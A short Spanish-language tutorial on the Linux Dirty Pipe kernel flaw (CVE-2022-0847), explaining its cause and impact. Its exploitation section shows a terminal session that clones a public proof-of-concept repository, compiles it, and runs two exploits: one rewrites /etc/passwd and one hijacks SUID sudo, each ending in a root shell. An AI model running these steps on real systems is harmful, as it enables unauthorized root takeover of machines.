Dirty Pipe (CVE-2022-0847)

La vulnerabilidad Dirty Pipe (CVE-2022-0847) en el kernel de Linux permite escribir en archivos privilegiados del usuario root sin autorización. Técnicamente, es similar a la vulnerabilidad Dirty Cow (2016) y afecta a los kernels desde la versión 5.8 hasta la 5.17.

Impacto:

Permite a un usuario con solo permisos de lectura sobre un archivo modificarlo arbitrariamente. También afecta a dispositivos Android, donde aplicaciones maliciosas (ejecutándose con permisos de usuario) podrían aprovecharla para tomar el control del dispositivo.

Fundamento técnico:

La vulnerabilidad explota el manejo incorrecto de pipes (tuberías), un mecanismo de comunicación unidireccional entre procesos en sistemas Unix. Por ejemplo, podría usarse para:

  • Modificar /etc/passwd y eliminar la contraseña de root, permitiendo acceso con su sin autenticación.
  • Sobrescribir binarios críticos o configuraciones del sistema.

Explotación:

  • Descargar un Proof of Concept (PoC).
  • Compilarlo y ejecutarlo en el sistema objetivo (o una réplica vulnerable).
elliot@debian:~$ git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
elliot@debian:~$ cd CVE-2022-0847-DirtyPipe-Exploits
elliot@debian:~$ bash compile.sh
elliot@debian:~$ ./exploit-1
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "piped"...
Password: Restoring /etc/passwd from /tmp/passwd.bak...
Done! Popping shell... (run commands now)

# id

uid=0(root) gid=0(root) groups=0(root)

Con la ayuda de la segunda versión del exploit (exploit-2), podemos ejecutar binarios SUID con privilegios de root.

elliot@debian:~$ ./exploit-2 /usr/bin/sudo

[+] hijacking suid binary..
[+] dropping suid shell..
[+] restoring suid binary..
[+] popping root shell.. (dont forget to clean up /tmp/sh ;))

# id

uid=0(root) gid=0(root) groups=0(root)